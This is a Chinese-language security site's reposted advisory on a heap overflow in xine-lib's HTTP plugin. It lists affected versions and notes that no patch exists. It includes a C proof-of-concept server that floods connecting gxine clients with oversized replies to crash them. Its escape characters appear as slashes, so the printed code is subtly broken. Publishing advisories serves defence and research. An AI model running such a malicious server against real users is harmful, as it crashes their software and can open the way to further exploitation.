| 网站首页 | 模板 | 资料 | 源码 | 工具 | 开发 | 设计 | 安全 | 项目 | 网络 | 图片 | 系统 | 数据库 | 博客 | 会员中心 | 小说 | 
MYFTP 精品资料下载
网络学院
学习资料
源码模版
您现在的位置: 精品下载 >> 安全 >> 网络安全 >> 安全中心正文 用户登录 新用户注册
Xine-Lib HTTP响应处理缓冲区溢出漏洞            【字体:
Xine-Lib HTTP响应处理缓冲区溢出漏洞
作者:佚名    安全中心来源:不详    点击数:    更新时间:2007-10-10
涉及程序:
Xine-Lib HTTP
 
描述:
Xine-Lib HTTP响应处理缓冲区溢出漏洞
 
详细:
xine是一款免费的媒体播放器,支持多种格式。

xine-lib的xineplug_inp_http.so插件在处理HTTP服务器的超长回复时存在堆溢出漏洞,远程攻击者可以诱骗用户打开到恶意站点的HTTP URL触发这个漏洞,导致使用该插件的应用程序崩溃。

<*来源:Federico L. Bossi Bonin (fbossi@netcomm.com.ar)

链接:(http://secunia.com/advisories/20369/print/
*>

受影响系统:
xine xine-lib 1.1.1
xine xine-lib 1.1.0
xine xine-lib 1.0.2
xine xine-lib 1.0.1
xine gxine 0.5.6
 
 
攻击方法:
警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

//////////////////////////////////////////////////////
// gxine - HTTP Plugin Remote Buffer Overflow PoC
/////////////////////////////////////////////////////
//
// Federico L. Bossi Bonin
// fbossi[at]netcomm[dot]com[dot]ar
/////////////////////////////////////////////////////

// TESTED on gxine 0.5.6
////////////////////////

// 0xb78eccc7 in free () from /lib/tls/libc.so.6
// (gdb) backtrace
// #0 0xb78eccc7 in free () from /lib/tls/libc.so.6
// #1 0xb7438fc8 in ?? () from /usr/lib/xine/plugins/1.1.1/xineplug_inp_http.so
// #2 0x41414141 in ?? ()
// #3 0xb7f42164 in ?? () from /usr/lib/libxine.so.1
// #4 0x080b1810 in ?? ()
// #5 0xb7f0e635 in xine_open () from /usr/lib/libxine.so.1
// #6 0xb7f3967f in ?? () from /usr/lib/libxine.so.1
// #7 0x0877c084 in ?? ()
// #8 0x0930a931 in ?? ()
// #9 0x080880a2 in defs.3 ()
// #10 0xb0088478 in ?? ()
// #11 0x00000000 in ?? ()

#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#define PORT 81
#define LEN 9500

void shoot(int);

int main() {
struct sockaddr_in srv_addr, client;
int len,pid,sockfd,sock;

sockfd = socket(AF_INET, SOCK_STREAM, 0);

if (sockfd < 0) {
perror("error socket()");
exit(1);
}
 
bzero((char *) &srv_addr, sizeof(srv_addr));
srv_addr.sin_family = AF_INET;
srv_addr.sin_addr.s_addr = INADDR_ANY;
srv_addr.sin_port = htons(PORT);

if (bind(sockfd, (struct sockaddr *) &srv_addr,sizeof(srv_addr)) < 0) {
perror("error bind()");
exit(1);
}



printf("Listening on port %i/n",PORT);

listen(sockfd,5);
len = sizeof(client);

while (1) {
sock = accept(sockfd, (struct sockaddr *) &client, &len);
if (sock < 0) {
perror("error accept()");
exit(1);
}

pid = fork();
if (pid < 0) {
perror("fork()");
exit(1);
}
if (pid == 0) {
close(sockfd);
printf("Conection from %s/n",inet_ntoa(client.sin_addr));
shoot(sock);
exit(0);
}
else close(sock);
}
return 0;
}

void shoot (int sock) {
int i;
for (i=0 ; i < LEN ; i++) {
write(sock,"/x41",1);
}

}

// milw0rm.com [2006-05-30]
 
 
解决方案:
厂商补丁:

xine
----
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:

(http://xinehq.de/
 
安全中心录入:chqnet    责任编辑:chqnet 
  • 上一个安全中心:

  • 下一个安全中心:
  • 最新热点 最新推荐 相关安全中心
    网管必备技巧—Windows日志的…
    防范WinGate代理防火墙被攻击
    在Windows中密码设置的几个要…
    Windows 2000密码破解不完全…
    密码攻防实战大演习之Window…
    妙用Windows磁盘配额 让黑客…
    抵抗拒绝服务:巧妙修改Win2…
    Win 2000密码破解不完全指南
    教你如何:入侵UNIX和Linux服…
    浅析Windows 2000/XP服务与后…
      网友评论:(只显示最新10条。评论内容只代表网友观点,与本站立场无关!)